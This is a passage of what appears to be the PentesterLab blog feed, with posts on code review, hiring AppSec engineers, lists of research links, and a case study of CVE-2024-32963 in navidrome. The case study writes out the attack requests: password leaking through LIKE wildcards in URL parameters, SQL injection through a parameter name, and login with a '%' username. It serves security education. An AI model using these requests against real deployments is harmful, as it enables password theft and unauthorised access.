<p>Every secure codebase you review becomes part of a mental baseline that you can use for future reviews. It’s like playing a continuous game of "spot the differences." Each time you review a solid, secure codebase, you’re building a picture of what secure code should look like. When a new codebase deviates from that picture, those differences will stand out more clearly. Small variations, like a missing validation check or a different method being used in a new way, will catch your attention, signaling potential vulnerabilities.</p>
<p>This baseline is key in making future audits faster and more effective. Code review becomes a process of comparison: the more secure code you’ve reviewed, the quicker you can identify deviations from best practices. A function may seem ordinary at first glance, but your growing experience will allow you to spot these subtle differences. This ability to quickly see where things differ from secure patterns is crucial to identifying risks early.</p>

<h5 class="fw-bold my-3">Accelerating Future Code Reviews</h5>
<p>By becoming familiar with patterns of good code, you’re essentially training your mind to work more efficiently. With experience, you no longer need to inspect every single detail as closely because you know what to expect from secure implementations. If you’ve seen how developers consistently follow best practices, you can move through their code faster while still maintaining a high level of scrutiny for areas that feel out of place.</p>
<p>Instead of spending time trying to identify secure code from scratch in every review, you’ll begin to recognize the "right" way to do things immediately. Conversely, when something feels off, even in subtle ways, your attention is drawn to those areas. You’ll be faster not because you’re skipping steps, but because you’ve built an intuition rooted in your growing body of experience.</p>

<h5 class="fw-bold my-3">Reviews Without Bugs Are Never Wasted</h5>
<p>The ultimate goal of a code review is to assess the security of an application. In some cases, no bugs are found because the application is secure. This outcome isn’t a failure; it’s a sign that the developers have done their job well, and your review process worked as intended. The absence of bugs is a learning opportunity in itself.</p>
<p>Moreover, it’s essential to remember that code review is not just about ticking off bugs on a list. It’s a continuous process of refining your ability to distinguish between secure and insecure patterns, improving your speed, and developing a deep understanding of different codebases and frameworks. Every review without bugs adds to that skillset, shaping you into a more effective reviewer over time.</p>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>The next time you conduct a code review and don’t find a vulnerability, remember that you haven’t wasted your time. Each review contributes to building your understanding of secure coding practices and strengthens your ability to spot weaknesses in the future. With each bug-free code review, you’re setting a foundation for more efficient and accurate work, all while improving the security of the applications you review.</p>

]]>
      </description>
      <pubDate>Thu, 10 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/codereview-without-bugs</link>
      <guid>https://pentesterlab.com/blog/codereview-without-bugs</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 40/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔒 </span> Exploiting trust: Weaponizing permissive CORS configurations</h5>
<p>If you are new to CORS testing, this article will give you a lot of things to check for: <a href="https://outpost24.com/blog/exploiting-permissive-cors-configurations/" target="_blank">Exploiting trust: Weaponizing permissive CORS configurations</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲  </span> Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)</h5>
<p>A great post from Project Discovery on the recent ruby-saml bypass and how to leverage nuclei to test for it:  <a href="https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/" target="_blank">Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📚  </span> HTTP Parameter Pollution in 2024</h5>
<p>I really like this kind of content, providing a lot of tiny details on one subject, this time on HTTP Parameter Pollution: <a href="https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89" target="_blank">HTTP Parameter Pollution in 2024</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛠️ </span> Differential fuzzing for cryptography</h5>
<p>An article on differential fuzzing applied to crypto. A lot is covered, definitely worth a read: <a href="https://blog.quarkslab.com/differential-fuzzing-for-cryptography.html" target="_blank">https://blog.quarkslab.com/differential-fuzzing-for-cryptography.html</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> AppSec eZine #555</h5>
<p>AppSec eZine returns with the latest edition—check out <a href="https://pathonproject.com/zb/?439be34758ac9288#wKUgkSIZjk7uLcFJOz0D3wcz/C0PjMt0tvSaETZJsMs=" target="_blank">issue #555</a>.</p>





          </div>



]]>
      </description>
      <pubDate>Mon, 07 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week40-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week40-2024</guid>
    </item>
    <item>
      <title>Hiring Your First AppSec Engineer: The Technical Interview</title>
      <description>
        <![CDATA[<div><p class="mb-0">In a previous blog post titled "<a href="/blog/hiring-your-first-appsec-engineer" target="_blank">Hiring Your First AppSec Engineer</a>", we discussed some key recommendations for hiring your first application security (AppSec) engineer. Since then, a common question that has come up is: how do you assess the technical abilities of an AppSec candidate when you don’t already have an AppSec team? </p><br/><p class="mb-0">In this post, we’ll dive into practical methods for evaluating their skillset effectively.</p></div>

<h5 class="fw-bold self-align-start mt-5">1. Using Previous Bugs for Evaluation</h5>
<p>A solid starting point is to leverage past security bugs that have been found through assessments or penetration tests in your own organization. Ask your interviewees to find these bugs in source code and explain how they would fix them. This approach provides a realistic, hands-on test that directly relates to the work they’ll be doing. </p>


<p>However, there are a few things to keep in mind when using this method:</p>

<p><strong>Rewriting Issues for Interviews:</strong> Your development team may need to rewrite the bug reports into short, self-contained snippets to make them more "interview-friendly". The key is to avoid complex examples that require extensive context to understand. The candidates should be able to quickly grasp the problem from the code itself without needing a full backstory.</p>

<p><strong>Multiple Languages:</strong> If your development team works across multiple programming languages, it’s helpful to prepare bug examples in each relevant language. By mapping the language to the candidate’s resume, you ensure that the assessment aligns with their claimed expertise. For example, if they’ve listed Java or Python in their resume, present bugs in those languages to evaluate their specific knowledge.</p>

<p><strong>Diverse Interview Panel:</strong> Ideally, the interview process should involve both security and developers. The security team will be able to evaluate how well the candidate understands vulnerabilities and how to mitigate them, while the developers can judge the technical depth of their proposed solutions.</p>

<h5 class="fw-bold self-align-start mt-5">2. Avoiding Classic Development Interviews</h5>
<p>One mistake often made during interviews for security roles is using the same development-focused interview questions, which may not adequately assess a candidate’s security skills. For example, during one interview, I was asked to code a doubly linked list manager on a whiteboard; a task far removed from the skills needed for an AppSec role. While I still got the job, the exercise didn’t provide a meaningful assessment of my security expertise.</p>

<p>For AppSec candidates, focus on practical security problems, not generic coding exercises. It’s critical that the interview questions are tailored to the specific demands of an application security engineer role.</p>

<h5 class="fw-bold self-align-start mt-5">3. Hands-on Labs and Real-World Applications</h5>
<p>To further assess a candidate’s practical skills, hands-on labs are an excellent tool. There are various open-source projects and platforms available that can simulate real-world vulnerabilities. For example:</p>

<ul>
    <li>WebGoat and DVWA (Damn Vulnerable Web Application) are popular for testing web security knowledge.</li>
    <li>Damn Vulnerable GraphQL Application is a great resource if your organization uses GraphQL extensively.</li>
</ul>

<p>Additionally, PentesterLab offers specialized "interview labs" for <a href="/pro/enterprise" target="_blank">enterprise customers</a>, which are designed to simulate the kinds of challenges a candidate might face on the job. If you use labs as part of the interview, make sure to observe how the candidate works. Request that they share their screen or perform the tasks in front of you. This allows you to evaluate their problem-solving skills, habits, and overall velocity, which can reveal a great deal about their competency.</p>

<h5 class="fw-bold self-align-start mt-5">4. Stack-Specific Questions</h5>
<p>Another approach is to ask the candidate about securing your current technology stack. For example, you can ask about common security pitfalls and security recommendations related to technologies you use, such as OAuth2, SAML, JWT, Java, or other relevant frameworks. These questions give you insight into how well the candidate understands your specific environment and whether they can identify potential weaknesses and provide proper recommendations on how to fix them as well as how to harden your technical stacks.</p>

<h5 class="fw-bold self-align-start mt-5">5. Bringing in an External Expert</h5>
<p>If your team lacks deep security expertise, or if you want an additional layer of evaluation, consider hiring an external AppSec expert or penetration tester for a day. They can help interview several candidates and provide a professional opinion on their abilities. This person could be a contractor, an external consultant already familiar with your organization, or simply someone you trust in the industry.</p>

<p>Though this option requires a small financial investment, the benefit of gaining expert feedback on three to four candidates makes it well worth the cost. Hiring the right AppSec engineer is critical, and having an expert assess them can make the difference between a good hire and a great one.</p>

<h5 class="fw-bold self-align-start mt-5">Conclusion</h5>
<p>Assessing the technical abilities of an AppSec engineer requires a tailored, hands-on approach. By utilizing previous bugs, interactive labs, stack-specific questions, and external expertise, you can gain a comprehensive understanding of a candidate’s skills. This approach ensures you’re hiring someone who can effectively identify and fix security vulnerabilities, rather than someone who excels only in theoretical scenarios. In the long run, these strategies will help you build a more secure and resilient development environment.</p>

]]>
      </description>
      <pubDate>Wed, 02 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/technical-interview-for-your-first-appsec-engineer</link>
      <guid>https://pentesterlab.com/blog/technical-interview-for-your-first-appsec-engineer</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 39/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!</p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔒</span> Insecurity through Censorship: Vulnerabilities Caused by The Great Firewall</h5>
<p>This article from AssetNote covers their discovery of how certain keywords trigger malicious DNS responses in China and how attackers can exploit this behaviour: <a href="https://www.assetnote.io/resources/research/insecurity-through-censorship-vulnerabilities-caused-by-the-great-firewall" target="_blank">Insecurity through Censorship: Vulnerabilities Caused by The Great Firewall</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔐 </span> Cryptographic testing</h5>
<p>Trail of Bits adds more content to their Testing Handbook to cover  <a href="https://appsec.guide/docs/crypto/" target="_blank">Cryptographic testing</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🖨️ </span> Attacking UNIX Systems via CUPS, Part I</h5>
<p>You have probably heard about this already, more details on the recent CVEs found in Cups: <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/" target="_blank">Attacking UNIX Systems via CUPS, Part I</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span> Eliminating Memory Safety Vulnerabilities at the Source</h5>
<p>If you are as passionate about vulnerabilities and their lifespan, you will love this article that covers the impact on moving to a memory safe-language in Android: <a href="https://security.googleblog.com/2024/09/eliminating-memory-safety-vulnerabilities-Android.html" target="_blank">Eliminating Memory Safety Vulnerabilities at the Source</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚</span> AppSec eZine #554</h5>
<p>AppSec eZine returns with the latest edition—check out <a href="https://pathonproject.com/zb/?2790175afead7613#0jQbXiqrTrLHMsGK/5hAR8064alpy1YaNyiuQCmTTfU=" target="_blank">issue #554</a>.</p>





          </div>



]]>
      </description>
      <pubDate>Mon, 30 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week39-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week39-2024</guid>
    </item>
    <item>
      <title>Hiring Your First AppSec Engineer</title>
      <description>
        <![CDATA[<div><p class="mb-0">Recently, I was asked by a CISO for recommendations on hiring their first AppSec or product security professional. This sparked a reflection on what makes an ideal candidate for such a position. Hiring for this role isn’t just about technical skills; it requires a combination of in-depth security expertise, the ability to work across teams, and a clear strategy for how this person will grow within the organization.</p></div>

<p>Here are some key factors to consider when hiring your first AppSec/product security professional:</p>

<h5  class="fw-bold self-align-start mt-5">1. Prioritize Code Review Skills Over Pentesting</h5>
<p>One of the most critical aspects of the role is security code review. It’s easier to train someone to test live web applications (especially if you rely on <a href="/pro/enterprise" target="_blank">PentesterLab</a>) than to teach them the complexities of effective code review. Code review requires a detailed understanding of how applications are built and how minor coding errors can lead to significant security vulnerabilities.</p>

<p>Moreover, code review efficiency improves as the individual becomes more and more familiar with the codebase. Having an internal person who knows the intricacies of the code will lead to better recommendations for fixes and long-term improvements. Pentesting, on the other hand, often benefits from fresh eyes and is easier to outsource when necessary. Internal expertise on the codebase compounds over time, while pentests are easier to run as one-off engagements.</p>

<h5  class="fw-bold self-align-start mt-5">2. Understanding Architecture and Design</h5>
<p>Beyond technical skills, a successful AppSec hire should be able to look at the bigger picture. This means having a strong grasp of system architecture and design, allowing them to assess risks at a higher level before they become embedded in the code. A candidate who can understand how different components fit together in the system will be able to spot design flaws that could lead to vulnerabilities.</p>

<p>This type of strategic thinking is critical in preventing security flaws from being baked into the foundation of the product. A broader view also enables more productive conversations with development and DevOps teams, as the AppSec hire can provide meaningful input on both a technical and architectural level.</p>

<h5  class="fw-bold self-align-start mt-5">3. Collaboration with Other Teams</h5>
<p>Security professionals are no longer isolated from the rest of the organization. The person hired for this role must work effectively with development and DevOps teams, as security is now deeply embedded in the software development lifecycle. Involving these teams in the hiring process ensures the new hire will be a good fit, not just technically but also culturally.</p>

<p>It’s easier to train someone who fits well within the existing team structure to sharpen their technical skills than it is to integrate someone who might have strong technical knowledge but doesn’t align with the team culture ("Don't Hire Brilliant Jerks"). The ability to collaborate across disciplines is often a better indicator of long-term success.</p>

<h5  class="fw-bold self-align-start mt-5">4. Setting Expectations for Growth</h5>
<p>It's important to manage expectations regarding the future role of the new hire. Will this person lead the security team when it expands, or will they remain a core contributor? Clearly defining their role in the long-term vision of the company helps avoid confusion and ensures that the candidate is aligned with the organization's goals from the start.</p>

<p>There is no right answer— not every application security engineer wants to run a team. Some people are just as happy being an individual contributor in the long run. It’s just a question of managing expectations.</p>

<h5  class="fw-bold self-align-start mt-5">5. Leverage Recruiters and Networks</h5>
<p>Recruiters can be valuable allies in the hiring process, as they are often aware of professionals who are looking for new opportunities before these individuals formally enter the job market. Engaging recruiters or tapping into professional networks can help identify potential candidates who might otherwise be off the radar.</p>

<p>Additionally, there is often more success in hiring someone who is already working in AppSec but seeking a more dynamic environment or an opportunity to make a bigger impact. Experienced professionals may bring deep knowledge and the ability to drive significant improvements in security processes.</p>

<h5  class="fw-bold self-align-start mt-5">6. Consider Internal Candidates</h5>
<p>Sometimes, the ideal candidate may already exist within the organization. A developer or DevOps professional who has taken a personal interest in security could be an excellent choice for the role. While they may require additional training, their existing relationships with the development team and familiarity with the codebase can make them highly effective in the long run.</p>

<p>What such a candidate may lack in immediate technical security expertise can be compensated for by their internal connections, influence, and deep knowledge of the company’s code and culture.</p>

<h5  class="fw-bold self-align-start mt-5">7. Balancing Generalists vs. Specialists</h5>
<p>The choice between hiring a generalist or a specialist depends largely on the size of the existing security team. If this is the first security hire, a generalist who can cover a range of responsibilities, including code review, threat modeling, and security assessments, may be more appropriate. However, if a security team already exists, bringing in a more specialized AppSec professional can enhance the team's effectiveness by filling any gaps in expertise.</p>

<h5  class="fw-bold self-align-start mt-5">8. Provide Resources for Growth</h5>
<p>Ensuring that the new hire has access to the right resources is crucial for their development. Books like <i>The Phoenix Project</i> and <i>The Unicorn Project</i> offer valuable insights into integrating security with DevOps and development practices. Additionally, ongoing training through platforms like PentesterLab can help the hire grow technically, especially if they need to deepen their skills in specific areas of application security.</p>

<h5  class="fw-bold self-align-start mt-5">Conclusion</h5>
<p>Hiring the first AppSec or product security professional is a critical decision that can shape the security posture of an organization for years to come. By prioritizing code review skills, fostering a collaborative environment with development and DevOps, and thinking strategically about the candidate’s future within the company, organizations can build a strong foundation for a robust security program. Whether the ideal candidate is sourced externally or promoted internally, the right person can help secure the organization’s codebase and contribute to a culture of security that grows along with the company.</p>

]]>
      </description>
      <pubDate>Wed, 25 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/hiring-your-first-appsec-engineer</link>
      <guid>https://pentesterlab.com/blog/hiring-your-first-appsec-engineer</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 38/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔒</span> Using YouTube to steal your files</h5>
<p>An insightful write-up on how Google Slides, Open Redirects, and social engineering are leveraged: <a href="https://lyra.horse/blog/2024/09/using-youtube-to-steal-your-files/" target="_blank">Using YouTube to steal your files</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐍</span> Vulnerabilities in Open Source C2 Frameworks</h5>
<p>Hacking the hackers... An excellent deep dive into <a href="https://blog.includesecurity.com/2024/09/vulnerabilities-in-open-source-c2-frameworks/" target="_blank">finding vulnerabilities in Open Source C2 Frameworks</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛡️</span> A Journey From sudo iptables To Local Privilege Escalation</h5>
<p>Gained access to a box with <code>sudo iptables</code> permissions—what’s next? The Shielder team covers it in their latest post: <a href="https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/" target="_blank">A Journey From sudo iptables To Local Privilege Escalation</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐘</span> Exploiting Chamilo during a Red Team engagement</h5>
<p>A good old PHP hacking adventure with some source code in this latest blog from QuarksLab: <a href="https://blog.quarkslab.com/exploiting-chamilo-during-a-red-team-engagement.html" target="_blank">Exploiting Chamilo during a Red Team engagement</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🚀</span> Gaining access to anyone’s browser without them even visiting a website</h5>
<p>A fascinating Swift + Firebase hack with source code in this excellent write-up: <a href="https://kibty.town/blog/arc/" target="_blank">Attacking Arc</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔑</span> Understanding Tokens in Entra ID: A Comprehensive Guide</h5>
<p>A detailed and insightful guide on <a href="https://www.xintra.org/blog/tokens-in-entra-id-guide" target="_blank">Tokens in Entra ID</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚</span> AppSec eZine #553</h5>
<p>AppSec eZine returns with the latest edition—check out <a href="https://pathonproject.com/zb/?02fdf361337ed7f9#IEEd1BqLFU+6AHA3n+jq6pwm8qf0LoQGw1GFqZaflV8=" target="_blank">issue #553</a>.</p>




          </div>



]]>
      </description>
      <pubDate>Tue, 24 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week38-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week38-2024</guid>
    </item>
    <item>
      <title>From CVE to Swarm: A Case Study on CVE-2024-32963</title>
      <description>
        <![CDATA[<div>
  <p class="mb-0">One of the things I enjoy doing is looking at CVEs. I find it a great way to learn about new patterns, potentially dangerous functions, and how to fix bugs. It’s also a great way to stumble upon a <a target="_blank" href="https://pentesterlab.com/blog/code-review-catch-a-swarm-instead-of-a-bug">swarm of vulnerabilities</a>.</p>
</div>
<br/>
<p>Sometimes, when reviewing the diff of a vulnerability, you can feel that there's more to uncover. <a href="https://github.com/navidrome/navidrome/security/advisories/GHSA-4jrx-5w4h-3gpm" target="_blank">CVE-2024-32963</a> is a classic example of this. Let's look at the patch:</p>

<pre><code class="language-diff"> 
func (r *playlistRepository) Update(id string, entity interface{}, cols ...string) error {
+ pls := dbPlaylist{Playlist: *entity.(*model.Playlist)}
  current, err := r.Get(id)
  if err != nil {
    return err
  }
  usr := loggedUser(r.ctx)
- if !usr.IsAdmin && current.OwnerID != usr.ID {
-   return rest.ErrPermissionDenied
+ if !usr.IsAdmin {
+   // Only the owner can update the playlist
+   if current.OwnerID != usr.ID {
+     return rest.ErrPermissionDenied
+   }
+   // Regular users can't change the ownership of a playlist
+   if pls.OwnerID != "" && pls.OwnerID != usr.ID {
+     return rest.ErrPermissionDenied
+   }
  }
- pls := dbPlaylist{Playlist: *entity.(*model.Playlist)}
</code></pre>

<p>Based on the code and comments, we see the issue relates to attackers potentially changing the playlist owner (<code>pls.OwnerID</code>). The code automatically maps HTTP parameters to database fields, a common feature in modern frameworks. To fix this issue, developers usually add parameters they don’t want mapped to a block list (or add parameters they want to be mapped to an allowed list). However, in this case, the mapping happens first, and an error is thrown if the playlist owner doesn’t match the user (<code>usr.ID</code>). My spidey sense was tingling...</p>

<p>When reviewing features like this, a hybrid approach works best: using the source code to make educated guesses and testing them on a live deployment. Since the code is a mix of three codebases (<a href="https://github.com/navidrome/navidrome" target="_blank">navidrome</a>, <a href="https://github.com/deluan/rest" target="_blank">rest</a>, and <a href="https://github.com/Masterminds/squirrel" target="_blank">squirrel</a>) working together, you don’t want to bounce between them constantly. Instead, read a bit of code, think of some <b>"What if..."</b> scenarios, and test them. Luckily, navidrome is easy to spin up in a <a href="https://www.navidrome.org/docs/installation/docker/" target="_blank">Docker container</a>. </p>

<h4 class="ms-md-5 my-5 fw-normal"><i>Why read 3000 lines of code when a single HTTP request can provide the same information?</i></h4>

<h5 class="fw-bold my-3">ORM Leak</h5>

<p>The first <b>"What if"</b> arises from the automatic mapping of URL parameters to SQL statements. The code doesn’t validate or prevent mapping. <b>"What if I add parameters to filter information?"</b> A typical request to retrieve users looks like this: <code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0</code>.</p>

<p>Now, let’s play around by adding a parameter: <code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0&<b>hack=theplanet</b></code></p>.

<p>The response (edited for size) shows:</p>

<pre><code>HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{"error":"no such column: hack"}[]
</code></pre>

<p>We can see the SQL query in the container logs:</p>

<pre><code>navidrome-1 | level=error msg="SQL:  `SELECT count(distinct user.id) as count 
FROM user WHERE (hack LIKE {:p0})`" args="map[p0:theplanet%]" 
elapsedTime="123.292µs" error="no such column: hack" 
requestId=290767d3aa0b/pXJ9u3NCWV-000577 rowsAffected=1 username=admin
</code></pre>

<p>We can see that our extra-parameter ends up in a <code>Like</code> condition: <code>WHERE (hack LIKE {:p0})</code>. Now that we know this, we can add arbitrary parameters and use them to filter and leak information. The next step is to add the parameter <code>password</code> to the API call and use <code>%</code> to leak users' passwords:</p>

<ul>
  <li><code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=1%25</code></li>
  <li><code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=2%25</code></li>
  <li><code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=3%25</code></li>
  <li><code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=.....%25</code></li>
</ul>

<h5 class="fw-bold my-3">SQL Injections</h5>

<p>Another <b>"What if"</b> comes from past experience. I found a similar vulnerability in a large Spring-based API. If you are a PentesterLab PRO subscriber, make sure to check out <a href="/exercises/from-sqli-to-shell-iii" target="_blank">From SQL Injection to Shell III</a> to learn more about this issue. <b>"What if the parameters' names (not the parameters' values) are concatenated directly into the SQL query?"</b> After all, you don’t use prepared statements for column names. Again, rather than reading through all the code, it's more efficient to test this kind of hypothesis on the live system.</p>

<p>A typical request to retrieve users looks like this: <code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0</code>. We just need to add our injection payload in a parameter name: <code>/api/user?_end=15&_order=ASC&_sort=userName&_start=0&<b>password'=1</b></code>. And we get the following error:</p>


<pre><code>HTTP/1.1 500 Internal Server Error
Content-Type: application/json


{"error":"unrecognized token: \"' LIKE ?) 
ORDER BY user_name asc LIMIT 15\""}[]
</code></pre>

<p>Again the container logs make it really easy to spot the vulnerability:</p>

<pre><code>navidrome-1  | level=error msg="SQL: `SELECT * FROM user 
WHERE (password' LIKE {:p0}) ORDER BY user_name asc LIMIT 15`" 
args="map[p0:1%]"  elapsedTime="49µs" error="unrecognized token: \"'
 LIKE ?) ORDER BY user_name asc LIMIT 15\"" ...</code></pre>

<h5 class="fw-bold my-3">A Small Authentication Issue to Finish</h5>

<p>While I was there, I took a quick look at authentication. Aside from the fact that passwords are encrypted using AES in GCM mode instead of being hashed (this issue is documented in the project's issue tracker), I reviewed how users are retrieved by username:</p>

<pre><code class="golang">func validateLogin(userRepo model.UserRepository, userName, password string) (*model.User, error) {
  u, err := userRepo.FindByUsernameWithPassword(userName)
  if errors.Is(err, model.ErrNotFound) {
  ...
</code></pre>

<pre><code class="golang">func (r *userRepository) FindByUsername(username string) (*model.User, error) {
  sel := r.newSelect().Columns("*").Where(Like{"user_name": username})
  var usr model.User
  err := r.queryOne(sel, &usr)
  return &usr, err
} 
  
func (r *userRepository) FindByUsernameWithPassword(username string) (*model.User, error) {
  usr, err := r.FindByUsername(username)
  if err == nil {
    _ = r.decryptPassword(usr)
  }
  return usr, err
}
</code></pre>

<p>Instead of matching the <code>username</code> exactly using <code>=</code>, the code uses <code>Like</code>, allowing login using <code>%</code> as username. This allows attackers to login without knowing the full username just the password. While not a major issue, it’s still an interesting bug to find.</p>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>By leveraging code review techniques and a few "What if..." scenarios, it's possible to uncover vulnerabilities hidden within common patterns like automatic ORM mapping and SQL query building. Combining source code inspection with live testing can reveal even subtle security flaws, demonstrating the importance of hybrid approaches when conducting thorough code reviews.</p>

]]>
      </description>
      <pubDate>Fri, 20 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/cve-to-swarm-case-study-cve-2024-32963</link>
      <guid>https://pentesterlab.com/blog/cve-to-swarm-case-study-cve-2024-32963</guid>
    </item>
    <item>
      <title>The Power of Wasting Time</title>
      <description>
        <![CDATA[
  <p>In today’s world, there is an overwhelming obsession with productivity. Efficiency is the gold standard, and procrastination is seen as the ultimate sin. We are so consumed by the need to stay busy and make constant progress that we can’t afford to waste even a minute. As a result, people continuously seek the best ways to optimize their tasks: "What is the best laptop for hacking?", "What should I learn first?", "Should I use Burp or Zap?". The fear of wasting time becomes so paralyzing that they spend precious moments asking these questions or researching the best approach instead of actually doing the work.</p>

  <p>Ironically, this quest for efficiency can lead to inefficiency. Time that could be spent gaining hands-on experience is instead lost in an endless cycle of seeking perfect answers. The reality is that there is no single best way to do most things, especially in fields like security research, where exploration and experimentation are key. In fact, if you don’t regularly find yourself saying, "Well, that was a waste of time," you’re probably not exploring enough. True learning often involves venturing into the unknown, where outcomes are uncertain, and the path is anything but clear.</p>

  <p>Reflecting on my own experiences, the time I learned the most was during my university years when I could afford to spend three days going down a rabbit hole just for the sheer fun of it. There were no immediate goals, no pressure to produce results, just pure, unfiltered curiosity. While it might have seemed like a waste of time to an outside observer, these seemingly aimless journeys were the ones that led to the deepest insights.</p>

  <p>This brings us to a crucial point: making mistakes and "wasting" time is an essential part of learning and improving. This is particularly true if you aspire to become a security researcher. The field is inherently about discovery, and discovery often means venturing down paths that lead nowhere. However, these dead ends are not failures—they are critical experiences that teach you how to choose better paths in the future. The process of learning why a particular rabbit hole was the wrong one makes you better at selecting the right ones next time. This cannot be skipped or rushed.</p>

  <p>It’s understandable why people are drawn to structured learning experiences like CTFs (Capture The Flag), certifications, and online training. These activities offer a clear sense of direction and accomplishment. Participants know they will learn something tangible, that their time will be productively used, and that they will have something to show for it at the end. However, it’s important to recognize that these structured experiences, while valuable, are not the only way to grow. In fact, it is equally crucial to waste time not learning, learning the wrong thing, or discovering that there was nothing to learn. This unproductive time is just as valuable as the structured, productive learning experiences. It’s during these moments that you truly expand your boundaries, developing the critical thinking and problem-solving skills that set you apart in the long run.</p>

  <p>To truly improve, you need to embrace failure. You need to allow yourself the time and space to explore, make mistakes, and learn from them. In the end, it’s not about finding the most efficient way to do something but about gaining the experience and understanding that will make you truly effective in the long run.</p>

]]>
      </description>
      <pubDate>Wed, 18 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/wasting-time</link>
      <guid>https://pentesterlab.com/blog/wasting-time</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 37/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week, we are publishing a list of research worth reading! Make sure you check it out!</p>
            </div>
            <div class="mb-5">

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> We Spent $20 To Achieve RCE And Accidentally Became The Admins Of .MOBI</h5>
             <p>If you only have time to read one article this week, make it this one: <a target="_blank" href="https://labs.watchtowr.com/we-spent-20-to-achieve-rce-and-accidentally-became-the-admins-of-mobi/">We Spent $20 To Achieve RCE And Accidentally Became The Admins Of .MOBI</a>.</p>
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐍 </span> White-box penetration testing: Debugging for Python vulnerabilities</h5>
            <p> This is actually one of the things we teach in our <a href="/live-training/" target="_blank">Web Security Code Review Training</a>: how to debug applications in Python (we also do it in Ruby): <a  target="_blank" href="https://www.yeswehack.com/learn-bug-bounty/penetration-testing-debugging-python-vulnerabilities">White-box penetration testing: Debugging for Python vulnerabilities</a>.</p>

